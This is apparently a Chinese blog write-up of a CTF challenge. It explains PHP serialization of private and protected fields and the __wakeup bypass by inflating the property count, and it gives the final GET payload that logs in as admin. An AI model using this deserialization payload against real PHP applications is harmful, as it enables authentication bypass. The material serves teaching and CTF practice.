0%

[极客大挑战 2019]PHP

前言:

 这题主要就是代码审计加反序列化相关的漏洞。还有php中的一些魔法方法。

0X01 新知识介绍

  1. 题目中Name类中定义的变量是private类型的,而事实上是有3中类型public、protected、private:
    1
    2
    3
    4
    5
    public 声明的字段为公共字段,所有类和子类都可以用,对象实列中也可见,字段没什么特别的。
    protected 声明的字段为保护字段,在所声明的类和该类的子类中可见,但在该类的对象实例中不可见。因此保护字段的字段名在序列化时,字段名前面会加上\0*\0的前缀。这里的 \0 表示 ASCII 码为 0 的字符(不可见字符),而不是 \0 组合。这也许解释了,为什么如果直接在网址上,传递\0*\0username会报错,因为实际上并不是\0,只是用它来代替ASCII值为0的字符。必须用python传值才可以。
    private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上\0的前缀。字符串长度也包括所加前缀的长度。其中 \0 字符也是计算长度的。
    注:上面的‘\0’都是指空字符,在url中空字符用%00表示。
    它们的优先级应该是 private > protected > public (都只是我的理解)
  2. class.php 中有一个_wakeup() 方法,这个方法会在反序列化时自动调用(和_sleep()相反)。而此方法内有给我们的$username重新赋值,这样会把我们赋的值给覆盖掉,肯定是不行的。好在有绕过方法:
    1
    2
    3
    4
    5
    6
    __wakeup()函数,在反序列化时,被自动调用。
    绕过:当反序列化字符串,表示属性个数的值大于真实属性个数时,会跳过 __wakeup 函数的执行。
    -----------------------
    如:O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
    改为:O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
    即可绕过!!!
  3. 记住private型的变量中类名和字段名前面要有空字符,而protected也有相应的要求,看第一点可知。

0X02 解题过程

  1. 可扫出www.zip备份文件(我是猜出来的)。
  2. 分析源码
    1
    2
    3
    4
    5
    index.php:GET获取参数select,并反序列化
    class.php:要求username=admin and password=100即可以得到flag
    _construct():对象创建时自动被调用;
    _wakeup():反序列化之前进行的回调函数;
    _destruct():脚本运行结束时自动被调用;
  3. 在phpstorm中打开www文件夹项目,新建一个php文件内容为
    1
    2
    3
    4
    5
    6
    $a = new Name('admin',100);
    $b=serialize($a);
    echo $b;
    -----------------------
    可以得到:O:4:"Name":2:{s:14:" Name username";s:5:"admin";s:14:" Name password";s:3:"100";}
    其中的空格其实是空字符在url中用%00表示,这也验证private定义变量的格式
  4. 经过代码的分析需要绕过_wakeup的执行(2修改为3是为了绕过_wakeup()函数,使username不被覆盖),username,password都是私有变量注意加空字符。最后得到的payloa是:
    url?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
    为什么是select ?   index.php有讲

-------------本文结束感谢您的阅读-------------